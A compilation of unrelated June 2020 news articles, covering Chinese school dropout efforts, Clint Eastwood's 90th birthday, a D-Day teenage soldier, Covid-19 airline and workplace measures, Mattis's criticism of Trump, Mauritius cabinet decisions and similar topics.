Currently, Liao is a junior high school student in the county. Following sheer hardwork, his first semester grades are continuing to improve. "I did not realize education could give me a lot of possibilities until Li and his colleagues came to persuade me," he said. "Now I'm eager to continue my study for a bachelor's degree in the future."

In recent years, Luxi County has adopted a slew of measures to ensure all school-age children receive compulsory education. The dropout rates in the county's primary schools, junior high schools, and senior high schools remained zero percent, 0.31 percent, and 0.5 percent, respectively, in the spring semester of 2019.

As China continues to uphold nine-year compulsory education, the number of students dropping out of school in poor areas has dropped sharply. Data from the Ministry of Education shows that the net enrollment rate of primary-school-age pupils reached 99.94 percent in 2019.

The country has increased free online courses in schools in rural areas, and invested in the construction and renovation of schools to ensure that no school-age child is left behind.

"I traveled over 1,200 km to persuade a youngster to go back to school, but not once did I visit my own son who had studied at Zhejiang University for four years because of the busy work in the village," Li said.

"I might not be a good father, but I hope I have served my village well." Enditem
Clint Eastwood is happier than ever since turning 90.

The screen legend, who marked his birthday on May 31, is filled with gratitude for his big family; the Million Dollar Baby star is a father of eight children and a grandfather many times over.

Clint 'keeps in touch with all eight of his children and their families,' a source tells Closer in the latest issue.

Content: Clint Eastwood, who marked his 90th birthday on May 31, is filled with gratitude for his big family; the Million Dollar Baby star is a father of eight children and a grandfather many times over

'Hes taken great comfort that at this time of his life, all his kids are close.' they added.

The director is also 'very happy' with his girlfriend Christina Sandera, who he has been dating since 2014.

The couple met while she was working as a hostess at the restaurant at Clint's Mission Ranch Hotel.

'He's truly happy with her,' the insider shares. 'Shes fun, easygoing and his kids like her, too. Shes on an even keel like he is.'

Christina, 56, lives with the actor at the $20 million mansion he built for ex-wife Dina.

'Hes taken great comfort that at this time of his life, all his kids are close.' a source said. Clint's eight children are pictured together

Clint 'keeps in touch with all eight of his children and their families,' a source tells Closer in the latest issue

The magazine reports that at 90 is in great shape and likes to eat clean and work out regularly.

'He eats healthy and has a private chef who cooks high protein, low-fat cuisine for him,' the source reveals. 'He exercises every day, with weight training, and he still does push-ups?!'

Clint was previously married to TV presenter Dina Ruiz, who was 35-years his junior, before the pair split in late 2013.

He was previously married to Maggie Johnson before Dina and also had long relationships with Sondra Locke and Frances Fisher.

Clint has daughter Kimber, 55, from a former relationship with Roxanne Tunis, son Kyle, 52, and daughter Alison, 48, with ex-wife Maggie Johnson, 34-year-old son Scott and 32-year-old daughter Kathryn with ex Jacelyn Reeves, 26-year-old daughter Francesca with ex Frances Fisher and daughter Morgan, 23, with ex-wife Dina.

The director is also 'very happy' with his girlfriend Christina Sandera, who he has been dating since 2014. They are pictured in February 2015

'He's truly happy with her,' the insider shares. 'Shes fun, easygoing and his kids like her, too. Shes on an even keel like he is.'

The Gran Torino star also has another daughter, Laurie Murray, 66, who was given up for adoption by a woman he had a relationship with in the early 1950s. Clint found out about Laurie, his his eighth child, when she investigated her real birth parents about 30 years ago.

Meanwhile, last month Clint's son Scott, 34, revealed how the screen legend would be spending his 90th birthday.

'We're going to do just a family thing,' Eastwood revealed to Access. 'Very, very calm, very mellow. He doesn't really like birthdays.'

He added that they would probably do a lunch and try and 'sneak a cake in'.

Celebrate: Clint's daughter Alison posted this clip of the screen legend getting a cake from his family when he turned 90 last week

'We're going to do just a family thing,' his son Scott Eastwood revealed to Access. 'Very, very calm, very mellow. He doesn't really like birthdays.'

'He probably won't like it, but we'll put one in.' he said.

Scott Eastwood's mother is Jacelyn Reeves, whom Clint was with for several years, resulting in the births of Scott and his sister Kathryn, 32.

Clint's daughter Alison (who he shares with Maggie Johnson) posted a clip earlier this week of Clint being presented with a birthday cake during an outdoor family gathering.

'Birthday boy...' she captioned it.
Goldman & Co. - Lawyers & Attorneys, has recently appointed Anthony Robert D'Aniello to the advisory board of Global Legal Group and Goldman & Co Lawyers Pty Ltd.

DUBAI, UAE / ACCESSWIRE / June 5, 2020 / Goldman & Co., part of the Global Legal Group, is proud to announce that Anthony Robert D'Aniello has been appointed to the advisory board of both Global Legal Group and Goldman & Co Lawyers Pty Ltd.

About Goldman & Co. Lawyers and Global Legal Group.

Goldman & Co. specialises in dispute resolution and litigation, private investments, international tax, wealth and assets.

Goldman's discreet commercial private client expertise attracts and suits high net worth individuals, wealthy families and entrepreneurs, locally and globally.

Goldman is one of the founder members of the international Global Legal Group, with practical legal and commercial experience both onshore and offshore within many key global wealth centers such as New Zealand, Australia, Hong Kong, Dubai, Switzerland, The UK, Caribbean and other OFC's.

With more than 27 years of experience as an attorney, banker, entrepreneur, and businessman, Anthony Robert D'Aniello is an excellent addition to the GLG and Goldman advisory boards, says Jaswinder Sekhon, Director, Global Legal Group, Principal Goldman & Co Lawyers (Australia).

"We are very excited to welcome Mr. Anthony D'Aniello to our advisory boards. I have no doubt that his advice and strategic thinking will be invaluable," said Mr. Sekhon, who has known Anthony for more than 10 years.

"Being able to offer my strategic advice to both GLG and Goldman, a globally recognized new law' firm that is both well-respected and one of the first to provide premium and specialized legal services from such an innovative and dynamic platform, is very important to me," Anthony Robert D'Aniello said in a statement.

For more information, please visit https://www.goldman-lawyers.com/.

About Anthony Robert D'Aniello

Anthony R. D'Aniello is a senior international attorney and consultant. He holds a Bachelor of Arts Degree from McGill University and a Masters in Business Administration from Lake Superior State University. He received a Bachelor of Law from the University of Windsor as well as a Juris Doctor in Laws from the University of Detroit. Anthony has held several senior executive positions with both on shore and offshore banks and trust companies. Most notably as AVP with HSBC. Anthony was a founding partner, group COO, and head of wealth management for First Capital of Switzerland Investment Bank in Dubai, which was named the Best Investment Bank in the UAE by World Finance in 2012. He was also the Managing Director of the first Sharia compliant trust company established in the DIFC. Anthony Robert D'Aniello was a founding partner and Co-Chairman of Global Legal Group (GLG), an international law firm that was the Family Office for Royal Families in the Middle East. Anthony continues to provide his advisory services to Royal Families in the Middle East. He has written several articles and has been published in two separate Trust and Trustees-World Survey Issues and in IFC Review. Anthony has been a guest speaker at a number of international banking and estate planning conferences all around the world. He currently acts as the Group Chief Legal Officer for Mohammad Omar Bin Haider Holding Group (MOBH).

Story continues

Contact:

legal@goldman-lawyers.com

+61-1300 343 560

SOURCE: Goldman & Co.





View source version on accesswire.com:

https://www.accesswire.com/592896/Goldman-Co-Appoints-Anthony-Robert-DAniello-to-Advisory-Board




The tragic story of the youngest British soldier to die after taking part in the D-Day landings has emerged on the eve of the 76th anniversary of the event.

Fearless Jack Banks lied about his age to enlist in the British army telling them he was 18 when in fact he was just 15.

He was among the first wave of soldiers to land on Gold Beach as part of Operation Overlord in June 1944.

The teenager from Darwen, Lancashire, survived the initial onslaught and by July his regiment, the Durham Light Infantry, had advanced around 20 miles into France.

Jack Banks after enlisting in the British Army, left, and as a young boy, right. He lied about his age to enlist in the Army, saying he was 18 when he was actually just 15

After six weeks of fighting the heroic young man volunteered when his battalion was tasked with taking out an enemy machine gun post inside a farmhouse near Caen.

Jack and two friends were armed with grenades and sent in but were tragically struck and killed by enemy mortar fire in the line of duty. Jack was then just 16.

His grave, alongside his two comrades', can be seen today in the Commonwealth War Graves Commission's Jerusalem War Cemetery in Chouain.

The heartbreaking engraving on his headstone, chosen by his parents Fanny and Jack, reads: 'God will tell us why, some day, he broke our hearts and took you away.'

Jack's great nephew, Jake Swarbrick, 29, a corporal in the British Army, says he joined the services aged 18 after being 'inspired' by stories of his great uncle.

He said: 'Jack is very much still a huge part of our family, all of us are well aware of his incredible story and sacrifice.

'My grandma, Jack's sister, often told me the story as I was growing up and it's one that really stuck with me. Jack a large part of the reason I joined the army myself, he inspired me.'

Dad-of-one Jake added: 'Sadly my grandma has passed away now but Jack's story is one that I will definitely keep telling.

Banks' medals. His great nephew, Jake Swarbrick, 29, a corporal in the British Army, says he joined the services aged 18 after being 'inspired' by stories of his great uncle

Jack Banks' grave, left, and a poppy wreath place in remembrance, right. He was born to parents Fanny and Jack in Darwen in 1928. After the war started he was determined to enlist

'My six-year-old son already knows all about it and I'm planning on taking him to the grave in Normandy.'

Jack, the oldest of five children, was born to parents Fanny and Jack in Darwen in 1928. After the war started he was determined to enlist.

He lied to the army about his age and defied his parents' wishes in order to sign up with the Durham Light Infantry. He was only 15.

Fanny vowed if her boy was over posted overseas she would tell the authorities his true age and have him withdrawn.

However, before she ever had the chance Jack was assigned to the Durham Light Infantry's 8th Battalion and sent to Normandy. At 11.30am on D-Day the 8th Durhams landed on Gold Beach.

They had been fighting inland for six weeks when the battalion commander asked for three volunteers to attack a machine gun position

Jack, who was a private, and two fellow serviceman stepped up but were struck by mortar fire as they sought to carry out the daunting task.

The letter from the front informing Jack's parents of his death. His mother, Fanny, never claimed her boy's medals because the prospect was too upsetting

The original headstone schedule from the CWGC Archive. Fanny had a black vase engraved for his headstone in anticipation of the return of Jack's body, which never arrived

He was seriously injured and taken for treatment but died on July 11, 1944.

A chaplain at the front handled Jack's body and faced the unenviable responsibility of writing to Fanny and Jack to inform them of their son's death.

The Reverend Canon Gervase W. Markham wrote: 'Dear Mr Banks, I'm afraid this letter is bringing you some very sad news. Your son was mortally wounded and died in a field ambulance.

'He has been buried with two other men and a white cross has been erected. The graves are being well cared for.

'It must be a great blow for you I'm afraid but you have the pride of knowing that he gave all he had. No man can do more. May God give you strength to face the future bravely.'

Fanny never claimed her boy's medals because the prospect was too upsetting.

She had a black vase engraved for his headstone in anticipation of the return of Jack's body, which never arrived. She would fill it with fresh flowers every week in his memory.

The Commonwealth War Graves Commission are now using Jack's story as part of their efforts to engage the next generation in remembering the war dead.

A spokesman said: 'In telling the story of a 16 year old lad whom we commemorate in one of the most lovely cemeteries we have in Normandy, we can break down the barriers of time and statistics to humanise the story of D-Day and its immediate aftermath and help an audience that may be the same age as Jack understand the price of that liberty.'
The owner of Aer Lingus, IAG has refused to say whether it is also considering suing the Irish Government after its group chief executive Willie Walsh said it was thinking of a legal challenge to Britains Covid-19 quarantine plan.

Mr Walsh, who over the last 10 years has put together Aer Lingus, British Airways, Iberia, and Vueling into the IAG conglomerate told Sky News he was considering suing the British government over its 14-day quarantine, due to be introduced from Monday for arrivals from abroad.

Ireland which also operates the common travel area has a similar quarantine plan.

Mr Walsh said the industry had not been consulted by the British on the quarantine plan and he expected other airlines to consider their legal options too.

Ryanair Group CEO Michael OLeary has described the plan as useless and a threat to the tourism industry, while Mr Walsh said it would torpedo any return to flying in July.

"Its terrible. I wrote to MPs last night to say that this initiative has in effect torpedoed our opportunity to get flying in July," Mr Walsh said.

"We think it's irrational, we think it's disproportionate and we are giving consideration to a legal challenge to this legislation, so we're reviewing that with the lawyers later on today," he said.

He said other airlines were probably considering doing the same thing.

A corporate spokeswoman for IAG in London told the Irish Examiner it could not comment on whether IAG was considering suing the Irish Government over its similar quarantine and referred the query to its fully-owned unit, Aer Lingus.

A spokeswoman for Aer Lingus said: "Aer Lingus believes that the lifting of the 14-day quarantine period in Ireland should take place as soon as possible and with effect from 30 June at the latest.

IAGs British Airways and Aer Lingus, EasyJet and Virgin Atlantic, have between them announced almost 23,000 job cuts to prepare for a smaller travel market after the pandemic.

Relations between BA and the UK government have come under increasing strain as the crisis has progressed.

A junior UK transport minister agreed with an MP earlier this week who said BA should pay a price for putting thousands of staff on notice of redundancy while accessing the governments salary support scheme.
AADHITHYA MS And SOWMYA MANI By

Express News Service

TIRUCHY: Even as an industry body in Chennai came out with a study saying nearly 50 per cent of small business units in India are struggling to pay rents and salaries, news broke that a BPO in Tiruchy had fired over 300 of its employees. Karvy DigiKonnect, the company in question, ran into trouble after telecom major Airtel snapped ties with it.

On Wednesday, the company staff staged a protest in front of the office demanding an explanation. They also did not know when they would get paid for the month of May, and about their Provident Fund settlements.

We are the sole breadwinners in our family, says an employee on condition of anonymity.

Out of the blue, we were told about the contract termination on Sunday, and that we no more have jobs. Neither have we been issued a termination letter, nor have been told about serving a notice period. How do they expect us to find another job in these uncertain times?

Some employees claim they saw this coming, ever since the lockdown was extended beyond April. Half the staff were laid-off in the beginning of May.

Those who were retained were asked to report to work on May 6. Those who could not come to work were fired, they alleged.

Over 300 of us could not report to work in May, says another staff member.

How could we, when we live in other districts? We are paid around Rs 8,000 to Rs 10,000. We dont have personal vehicles.

As a consequence, we got fired. Now we are standing in the middle of the road. We demand clarity. Thats the least they (the company) can offer us. The company management claims Airtel cancelling its contract was a bolt out of blue.

The unit in Tiruchy caters exclusively to the telecom major. Without the contract, nothing happens there.

The challenge for us is that the CRM platform is owned by Airtel. If they decide to switch off the platform, we cant do anything. We are trying to do our best for our employees, says a senior Karvy official based in its Hyderabad office.

This is not an isolated case. Several firms across the State have started laying-off people. Many of these companies have not even shown to courtesy to wait till the stress induced by the pandemic has abated.

A Tiruchy-based security engineer, working with an IT MNC in Madurai says he was fired -- remotely. All that we got was an online message, he says.

Around 80 of us were laidoff by the BPO that was contracted by a US-based firm.

The MNC has apparently ended its contract with our BPO. Overnight, we were rendered jobless. Had the contract been canceled at any other time, we would have been put on the bench until another project becomes available. Now, since the situation is uncertain, we are being fired.

The employee says people fired from his office are among the lucky few to at least get two-month salary as a severance payment. Most other firms were not even providing that. In fact, employees of Karvy DigiKonnect arent sure if they will be paid for the month of May, though they worked from home.

A Tiruchy-based HR agency, which recruits mostly for US-based firms, has also laid-off employees. Many of them are not even sure if it counts as a lay-off.

I was working remotely from my home in Pudukkottai. Once the lockdown was relaxed, I was sacked, says an employee of that company.

I asked them for a settlement. But, my employer said they had lost their US client, and promised to call me back to work if they manage to win the contract again. Given the economical situation currently, I doubt that will happen. As of now, I dont have a job or a salary to tide me through these tough times.

The pain is not restricted to the IT and ITES sectors. MSME units have been slashing their staff salaries by almost half. Job cuts are not far away.

I have 75 sewing machines, and do annual business of Rs 4 crore, says a garment unit owner from Tirupur.

Most of my exports are to three buyers in the US. Of them, so far only one has paid up.
The total amount of flights performed in May 2020 is 3,237

Open source

In Ukraine, the number of flights in the airspace made 3,237 in May. It is by 90% less in comparison with the number of flights in May 2019 as the Ukrainian State Air Traffic Services Enterprise reported.

The total amount of the flights performed in Ma 2020, which were provided by air navigation services by Ukraerorukh makes 3,237 flights  it is by 89.2% less in comparison with the number of the flights in May 2019, the message said.

The types of the flights: 684 domestic flights (by 76% less in comparison with May 2019), international flights  1,221 (by 91.8% less) and transit flights  1,331 (by 89.2% less).

Ukraine closed the air traffic on March 17 due to the Covid-19 pandemic.

The domestic flight connection will be restored in Ukraine on June 5. The government members decided so during the Cabinet session on June 3.

As we reported, Irish low-coster Ryanair plans to resume half of the flights from Ukraine. The company also wants to re-boot flights in 17 destinations this autumn.
Former U.S. Secretary of Defense General Jim Mattis speaks at a Reuters Newsmaker event in New York

By Phil Stewart

WASHINGTON (Reuters) - After long refusing to explicitly criticize a sitting president, former Defense Secretary Jim Mattis accused President Donald Trump on Wednesday of trying to divide America and roundly denounced a militarization of the U.S. response to civil unrest.

The remarks by Mattis, an influential retired Marine general who resigned over policy differences in 2018, are the strongest to date by a former Pentagon leader over Trump's response to the killing of George Floyd, an African-American, while in Minneapolis police custody.

They accompany a growing affirmation from within the Pentagon's leadership of the U.S. military's core values, including to uphold a constitution that protects freedom of assembly and the principles of equality.

"Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try," Mattis, who resigned as Trump's defense secretary in 2018, wrote in a statement published by The Atlantic.

"Instead he tries to divide us. We are witnessing the consequences of three years of this deliberate effort."

Trump has turned to militaristic rhetoric in response to demonstrations against police brutality following Floyd's killing by a white police officer, who knelt on the unarmed man's neck for almost nine minutes in Minneapolis last week.

On Monday Trump threatened to send active duty U.S. troops to stamp out civil unrest gripping several cities, against the wishes of state governors - alarming current and former military officials who fear dissent in the ranks and lasting damage to the U.S. military itself, one of America's most revered and well-funded institutions.

"Militarizing our response, as we witnessed in Washington, D.C., sets up a conflict  a false conflict  between the military and civilian society," Mattis wrote.

Trump reacted on Twitter by calling Mattis "the world's most overrated General!"

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"I didn't like his 'leadership' style or much else about him, and many others agree. Glad he is gone!" Trump wrote.

A prominent figure in military circles, Mattis's strong words could inspire others in uniform and veterans to speak out. They are particularly surprising given his extreme reluctance to criticize Trump in scores of interviews and appearances since he left office over policy differences with the U.S. president.

His comments follow denunciations by other retired top brass, including Navy admiral Mike Mullen and retired Army general Martin Dempsey, both former chairmen of the Joint Chiefs of Staff.

The current chairman, Army General Mark Milley, issued a message to the armed forces reminding them of their oath to uphold the U.S. Constitution, which gives Americans the right to "freedom of speech and peaceful assembly." Similar messages were delivered by other top military leaders.

COMPARISON TO BATTLE AGAINST NAZIS

As he called for unity, Mattis even drew a comparison to the U.S. war against Nazi Germany, saying U.S. troops were reminded before the Normandy invasion: "The Nazi slogan for destroying us ... was 'Divide and Conquer.' Our American answer is 'In Union there is Strength.'"

Mattis also took a swipe at current U.S. military leadership for participating in a Monday photo-op led by Trump after law enforcement - including National Guard - cleared away peaceful protesters.

He criticized use of the word "battlespace" by Defense Secretary Mark Esper and Milley to describe protest sites in the United States during a call with state governors this week. Esper, Mattis's successor in the job, has said he regretted using that wording.

"We must reject any thinking of our cities as a 'battlespace,'" Mattis wrote.

Esper said at a Wednesday news conference he did not support invoking the Insurrection Act to deploy active-duty forces to quell civil unrest for now, in remarks that did not go over well with either the president or his top aides, an administration official said.

The head of the National Guard, whose troops have been reinforcing local law enforcement, issued a strong statement https://twitter.com/ChiefNGB/status/1268335177484419073/photo/1 condemning racism and reminding his troops of their oath to the constitution.

"If we are to fulfill our obligation as service members, as Americans, as decent human beings, we have to take our oath seriously," said Air Force General Joseph Lengyel, the chief of the Guard. "We cannot tolerate racism, discrimination or casual violence. We cannot abide divisiveness and hate."

(Reporting by Phil Stewart; Editing by Cynthia Osterman, Richard Pullin and Stephen Coates)
Martha Louise and shaman Durek Verrett in 2019. (Reuters)

A Norwegian princess has shared the racism her boyfriend faces in a frank Instagram post.

Princess Martha Louise, who is fourth in line to the throne in Norway, is dating Shaman Durek and said their relationship had given her a crash course in how white supremacy is at play in the world.

Her post came as Meghan, the Duchess of Sussex, spoke about her experience as a biracial woman in a message to the graduating class of her former high school, in the wake of the death of George Floyd.

Admitting to her own failures, Princess Martha added dating him had shown the way I have consciously and subconsciously thought of and acted towards black people. How I have taken my rights for granted - never looked properly at what racism really is, because it has been comfortable for me that the system is in place.

I am not proud of it, but I realise I need to grow into understanding this deeply rooted system to be able to be part of the dismantling of it.

She said she needed to grow and educate herself in order to move from being against racism to being anti-racist.

Read more: Meghan Markle's history of campaigning against racism  from her early acting days to royal court cases

As well as talking about her own unconscious bias, Princess Martha, who is not part of the royal household in Norway, revealed her friends had assumed Durek lies about everything and is evil for being kind.

She continued: It is assumed that Durek is not a good person who actually loves me, but has manipulated me into loving him and keeps manipulating me in our relationship. How he will exploit me financially.

Princess Martha, 48, said both she and Durek had received death threats for their relationship.

Durek Verrett is an author who is touted as Gywneth Paltrows spiritual advisor.

He has faced a lot of criticism for his work and recently had to apologise for generalising Norwegians when he slammed publishing houses for not putting out one of his books.

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The book was pulled by the publisher for its claims about cancer, particularly that sufferers bring it on themselves.

Martha Louise in Southwark Park on Norway National Day in 2013. (Getty Images)

Read more: Meghan Markle shares devastation at George Floyds death in speech to her former LA high school

Announcing their relationship last year, Durek and Martha claimed they were twin flames and believe they dated in a past life.

Earlier this year Durek told Femail he and Martha planned to live together once the lockdown is over, having been separated during the coronavirus pandemic.

He said: It (marriage) is definitely not off the table. Our plans are eventually to live together with each other. Not in Norway, but in the US.

No matter what people say about us, it is our life. Martha and I are going to live the way we decide to live.

Princess Martha Louise married Ari Behn in 2002. (Reuters)

Read more: 'Nervous' Meghan Markle delivered anti-racism speech with no notes, says friend

Princess Martha was previously married to Norwegian author Ari Behn, with whom she had three children. They divorced in 2017 and he took his own life in December 2019.

She takes on very few royal roles and is a full-time businesswoman, having had her royal highness title removed in 2002. But she has also been criticised for using her title as a princess in her work and marketing.

As a descendant of King Edward VII, Martha is in line to the throne in 16 Commonwealth realms, and was 30th in line to the British throne when she was born.
Surf, golden sands and a lively marine environment nearby. But what about making education truly great again and adding in immense dollops of science, values, music, art, environment and culture?

The planning and discussion for a new school in Papamoa East began about ten years ago, with enterprising individuals forecasting the population growth could sustain a new Catholic school that would also have its roots going back more than 150 years.

The selection of Anthony Mills as the new principal is an inspired choice  as well as a teacher, hes a musician, artist, surfer, husband, father of five and keen science educator. He starts work on Monday.

If all goes to plan, Suzanne Aubert Catholic School will be rising from an empty paddock in Kamahi St, opening in term one of 2021 with an expected roll of 100-150 Year 0-6 children.

All the building plans and design are completed and have gone to tender, says Anthony, fresh from an assistant principal role at Taurangas St Marys Catholic School.

Once the foundations are in, it should go pretty quickly.

Prior to St Marys, Anthony taught at St Thomas More Catholic School, where he was director of religious studies and also worked as an across-schools coordinator with other Catholic schools. Prior to that he taught in Hamilton.

I grew up in a Catholic family in Hamilton, we were always quite involved with the church and I am really passionate about Catholic education.

He plays drums and guitar and leads music ministry with his wife at St Thomas More church on Sundays.

Having a Catholic school pop up in the Papamoa area caters for a wide demographic from Papamoa through to Te Puke and Pukehina.

Some families want their child to have an education at a Catholic school so theyre happy to travel to do that.

Looking at the strength of the Catholic schools in the area, its clear that parents see a Catholic education being a great foundation for their children. St Thomas More is capped at 240 pupils, St Marys is capped at 500, and Suzanne Aubert will be capped at 250. Anthony believes Suzanne Aubert will reach that figure by 2024, only three years away.

Catholic schools are known to perform well in terms of education graduates and in terms of their beliefs and values, with students learning to demonstrate that in their actions.

Why Suzanne Aubert?

Suzanne Aubert was a French nun who arrived in New Zealand in 1860. She did missionary work with the homeless, orphans, young mums and unemployed people, helping those who were on the fringe of society.

Suzanne set up the Sisters of Compassion in Whanganui to serve and help those in need and connected with the Maori community, becoming tangata whenua over time.

She was a scientist and botanist combining western knowledge and matauranga Maori with her medicinal planting. These rongoa became central to her healing ministry.

Suzanne Aubert is known in the Catholic Church as venerable which means she is on the journey to becoming a saint.

As a scientist Suzanne should translate well into the new school curriculum.

The school will have a close partnership with the Sisters of Compassion who are now largely based in Wellington.

Anthonys looking forward to the official turning of the sod next month.

The school is being developed alongside the Ministry of Education, the Catholic Diocese, local iwi and the Sisters of Compassion.

Were also looking forward to consulting with whanau and the community as we develop the vision.

Hes keen to get started, with a six-month science leadership sabbatical through the Royal Society of New Zealand in 2016 still resonating.

Clearly science, innovation and the arts are going to be strong points, with purposeful planting, biosecurity projects and environmental care programmes already in the planning.

Especially post-national standards, schools are redefining themselves and its a great opportunity to be really creative and innovative with a localised curriculum.
Les membres du Cabinte ont pris note que des travaux seront fait le long de la route Petit Sable a Bambous Virieux , aussu celle menant de Bambous Virieux a Anse Jonchee, la promulgation du Radiation Safety and Nuclear Security (Registration of Service Providers) Regulations 2020, que la preceh des poulpes ( ourites) aura aussi lieu du 15 janvier au 15 mars de chaque annee entre autres.

Cabinet has agreed to coastal protection, landscaping and infrastructural works being undertaken over a stretch of 2.1 kilometres from Petit Sable to Bambous Virieux along the Flacq and Mahebourg coastal road. The coastal road at Petit Sable to Bambous Virieux is low-lying and the stone masonry retaining-wall on the seaward side has been undermined at several places due to wave action and scouring. The proposed works would also enhance the socio-economic and recreational potential of the area, especially with the creation of the perched sandy beaches and a cycle track.

2. Cabinet has agreed to coastal protection, landscaping and infrastructural works being undertaken over a stretch of 1.6 kilometre from Bambous Virieux to Anse Jonchee along the Flacq and Mahebourg coastal road. The coastal road at Bambous Virieux to Anse Jonchee is low-lying and the stone masonry retaining-wall on the seaward side has been undermined at several places due to wave action and scouring. The proposed works would also enhance the socio-economic and recreational potential of the area, especially with the creation of the perched sandy beaches and a cycle track.

3. Cabinet has agreed to coastal protection, landscaping and infrastructural works being undertaken over a stretch of 450 metres at Bois des Amourettes along the Flacq and Mahebourg coastal road. The coastal road at Bois des Amourettes is low-lying and the stone masonry retaining-wall on the seaward side has been undermined at several places due to wave action and scouring. The proposed works would also enhance the socio-economic and recreational potential of the area.

4. Cabinet has taken note that the Deputy Prime Minister, Minister of Energy and Public Utilities would promulgate the Radiation Safety and Nuclear Security (Registration of Service Providers) Regulations 2020 under the Radiation Safety and Nuclear Security Act. The Regulations provide, inter alia, for the registration of eligible service providers by the Radiation Safety and Nuclear Security Authority and the application procedures as well as the terms and conditions which the Authority may specify for the issue of a certificate of registration. The Radiation Safety and Nuclear Security (Registration of Service Providers) Regulations 2020 would come into operation as from 15 June 2020.

5. Cabinet has taken note that the Deputy Prime Minister, Minister of Energy and Public Utilities would promulgate the Radiation Safety and Nuclear Security (Safe Transport of Radioactive Material) Regulations 2020 in order to comply with the Regulations on Safe Transport of Radioactive Material 2012 of the International Atomic Energy Agency (IAEA) which has been revised in 2018. The new IAEA Regulations include, inter alia, a new category of solid object that is not radioactive itself but which has radioactive material distributed on its surface, and new requirements to assess the effects of storage time on a package that is stored before transport. The Radiation Safety and Nuclear Security (Safe Transport of Radioactive Material) Regulations 2020 would replace the Radiation Protection (Safe Transport of Radioactive Material) Regulations 2016 and would come into operation as from 15 June 2020.

6. Cabinet has taken note that the Minister of Blue Economy, Marine Resources, Fisheries and Shipping would promulgate the Fisheries and Marine Resources (Fishing and Octopus) (Amendment) Regulations 2020 to introduce a second two-month ban for the fishing of octopus in Mauritius for the period 15 January to 15 March every year. This measure would enhance the octopus stocks as juvenile octopus would grow in size and would bring a better yield to the fishers catch in terms of weight of octopus. It would also ensure better conservation and management of octopus stocks. The Regulations would come into operation on 01 July 2020. The closed season for octopus catch in Mauritius would therefore be of a four-month duration from 15 January to 15 March and from

15 August to 15 October every year.

7. Cabinet has taken note that the Mauritius Turf Club (MTC), a horse racing organiser, would conduct race meetings behind closed doors under strict protocols as from Saturday 20 June 2020 for the sake of the Horse Racing industry. The MTC has prepared two COVID-19 protocols regarding Race Day and Track Work and Training, in consultation with the Gambling Regulatory Authority (GRA) and other relevant stakeholders. These two protocols set out strict procedures for attendees to comply with sanitary measures put in place as well as limit the number of attendees on Race Days. Access to the Champ de Mars on Race Days would be restricted to those in possession of special access permits that would be delivered by the Police in consultation with the GRA and the MTC. A Regulation to declare the Champ de Mars, as well as its surroundings a Restricted Area on Race Days would be promulgated, accordingly.

8. Cabinet has taken note of the situation pertaining to the outbreak of COVID-19 and the measures taken to contain the pandemic and avoid any resurgence, namely:

(a) there were currently five active imported cases in Mauritius;

(b) as at 5 June 2020 (morning), 30,347 PCR tests had been carried out; and

(c) as at 5 June 2020 (morning), 96,586 Rapid Antigen tests for COVID-19 had been carried out.

9. Cabinet has taken note that Government would make a token contribution as a gesture of goodwill, to support the UKs initiative to Gavi, the Vaccine Alliance which is also working on a COVID-19 vaccine.

10. Cabinet has taken note that the Mauritius Institute of Development and Training (MITD) would resume its training activities as from 3 August 2020. During the confinement period, seven MITD Training Centres have been involved in dispensing training using various online platforms/medium. The main objective of the online training was to keep the trainees engaged in their training activities and minimise drop outs. A new calendar has been worked out to ensure that the training programmes are completed and assessment/examinations are carried out.

11. Cabinet has taken note that the Ministry of Public Service, Administrative and Institutional Reforms would exceptionally review the criteria for the 2019 Edition of the Public Service Excellence Award (PSEA) with a view to recognising the outstanding contribution of public sector organisations which have been actively involved in the fight against the COVID-19 pandemic. The present PSEA exercise would be cancelled and instead Special Awards would be given to public sector organisations which have been actively involved in the fight against the pandemic.

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Apple is offering employees Covid-19 nasal swab tests as they return to work, according to a Bloomberg report which cited people familiar with the process.

Employees will also have their temperature taken and they'll be required to wear masks around the office, the report Thursday stated. Apple reportedly intends to keep many of its break-room kitchens closed and it will limit the number of people gathering in confined spaces like elevators.

The measures will be applied at Apple's headquarters in Cupertino, California. It's unclear what steps will be taken at Apple's other offices around the world. Apple reportedly started bringing some hardware and software engineers back to the office in May.

Apple did not immediately respond to CNBC's request for comment.

The tech giant was quick to react to Covid-19. It was among the first company's in the U.S. to limit international travel for employees and it shut down retail stores around the world as the coronavirus spread. However, Apple is also one of the first tech firms to start bringing employees back to the office and the company's approach contrasts with other Silicon Valley firms. Google and Facebook are allowing employees to work from home until at least the end of 2020, while Twitter has said staff can work remotely forever if they wish.

The fact that Apple is highly-secretive and focused on hardware has made remote working difficult at times, according to a report from The Wall Street Journal.

For more on this story, read the full Bloomberg report here.
A summer programme for children with special educational needs has been given the green light.

Minister for Education Joe McHugh confirmed that the Summer Education Programme will take place for those at greatest risk of educational disadvantage.

Mr McHugh said it will be a stepping stone to help young people ahead of the next school year.

The programme will help children to renew relationships, routines and connections with school and with learning and help to support ongoing social development and wellbeing, he said.

It gives us an opportunity to provide a vital additional support for some of the children with significant special educational needs and those who have been at risk of educational disadvantage since schools closed in March.

Mr McHugh said that the programme will rely on schools, teachers and Special Needs Assistants (SNAs) choosing to participate.

We now want to work towards a new level of engagement, he added.

The focus will be on students and young people with complex needs  including those who live with significant behavioural, social, emotional and sensory difficulties.

It will be similar to the July Provision of previous years and children with Down syndrome will be included as part of our plans for this summer.

Down Syndrome Irelands interim CEO Deirdre Saul welcomed the decision to include children with the condition.

We are glad that the Minister has listened to our concerns and the concerns of parents of children with Down syndrome and acted, Ms Saul added.

All children with Down syndrome have complex learning needs and will need support during the Summer months to prepare for their return to education.

Some 1,200 more children with Down syndrome will now be eligible for the programme as a result.
U K diplomats have spoken with American officials about the arrest of British journalists covering the protests in the wake of George Floyd's death, it emerged today.

Downing Street stressed that Boris Johnson and Foreign Secretary Dominic Raab had both condemned his death, expressed concern over the violence which has erupted and emphasised the right of people to demonstrate peacefully.

The Prime Ministers official spokesman said: The embassy in the US has raised the issue of the protests with the US administration including on behalf of some British journalists who were the subject of police action.

We have said from the beginning of the protests that journalists must be free to do their job without fear of arrest or violence.

The US has been rocked by 10 consecutive nights of protests / Getty Images

He added: The Prime Minister and the Foreign Secretary have both spoken publicly to condemn the death of George Floyd, to express concern at the violence that we have seen and to underline peoples rights to protest peacefully.

More than 33 journalists have been arrested covering the anti-racism demonstrations, 143 assaulted, allegedly by police in most cases, and at least 35 have had equipment damaged, according to reports from press freedom campaigners.

